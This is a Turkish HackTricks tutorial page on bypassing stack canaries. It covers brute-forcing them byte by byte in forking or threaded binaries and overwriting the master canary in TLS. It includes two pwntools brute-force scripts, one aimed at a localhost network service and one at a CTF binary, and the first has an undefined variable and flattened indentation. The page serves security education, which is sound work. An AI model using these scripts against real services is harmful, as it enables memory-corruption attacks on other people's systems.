BF Forked & Threaded Stack Canaries

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

Eğer bir canary ve PIE (Pozisyon Bağımsız Yürütülebilir) tarafından korunan bir ikiliyle karşı karşıyaysanız, muhtemelen bunları atlatmanın bir yolunu bulmanız gerekecektir.

checksec'in, bir ikilinin bir canary tarafından korunduğunu bulamayabileceğini unutmayın eğer bu statik olarak derlenmişse ve işlevi tanımlayamıyorsa. Ancak, bir değerin bir işlev çağrısının başında yığına kaydedildiğini ve bu değerin çıkış yapmadan önce kontrol edildiğini fark ederseniz bunu manuel olarak fark edebilirsiniz.

Brute force Canary

Basit bir canary'yi atlatmanın en iyi yolu, ikilinin bir program olduğu durumda her yeni bağlantı kurduğunuzda çocuk işlemi çatallandırması (ağ hizmeti) yapmasıdır, çünkü ona her bağlandığınızda aynı canary kullanılacaktır.

Bu durumda, canary'yi atlatmanın en iyi yolu, sadece her karakteri brute-force etmek ve tahmin edilen canary baytının doğru olup olmadığını anlamak için programın çöktüğünü veya düzenli akışını sürdürüp sürdürmediğini kontrol etmektir. Bu örnekte fonksiyon 8 Bayt'lik bir canary'yi brute-force eder (x64) ve doğru tahmin edilen baytı yanlış bayttan ayırt eder sadece sunucu tarafından bir yanıtın gönderilip gönderilmediğini kontrol ederek (diğer durumlarda başka bir yol try/except kullanmaktır):

Örnek 1

Bu örnek 64 bit için uygulanmıştır ancak 32 bit için kolayca uygulanabilir.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Örnek 2

Bu 32 bit için uygulanmıştır, ancak kolayca 64 bit'e değiştirilebilir. Ayrıca bu örnekte programın önce girişin boyutunu belirten bir baytı ve ardından yükü beklediğine dikkat edin.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

İş Parçacıkları

Aynı işlemdeki iş parçacıkları aynı canary belirteciyi paylaşacak, bu nedenle saldırı gerçekleştiğinde her seferinde yeni bir iş parçacığı oluşturan ikili bir dosyada bir canary'yi kaba kuvvet ile bulmak mümkün olacaktır.

Ayrıca, bir canary ile korunan bir iş parçacığında bir tampon taşması, TLS'de depolanan ana canary'yi değiştirmek için kullanılabilir. Bu, bir iş parçacığının yığınındaki bir **taşma aracılığıyla TLS'nin depolandığı bellek konumuna ulaşmak mümkün olabileceği için mümkündür (ve dolayısıyla, canary). Sonuç olarak, önlem işe yaramaz çünkü kontrol, iki aynı olan canary'lerle kullanılır (ancak değiştirilmiş). Bu saldırı, şu yazıda gerçekleştirilir: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

Ayrıca, genellikle TLS'nin mmap tarafından depolandığını ve bir iş parçacığının yığınının oluşturulduğunda bu yığının da mmap tarafından oluşturulduğunu belirten https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 sunumuna da bakın, bu da önceki yazıda gösterildiği gibi taşmaya izin verebilir.

Diğer örnekler ve referanslar

Last updated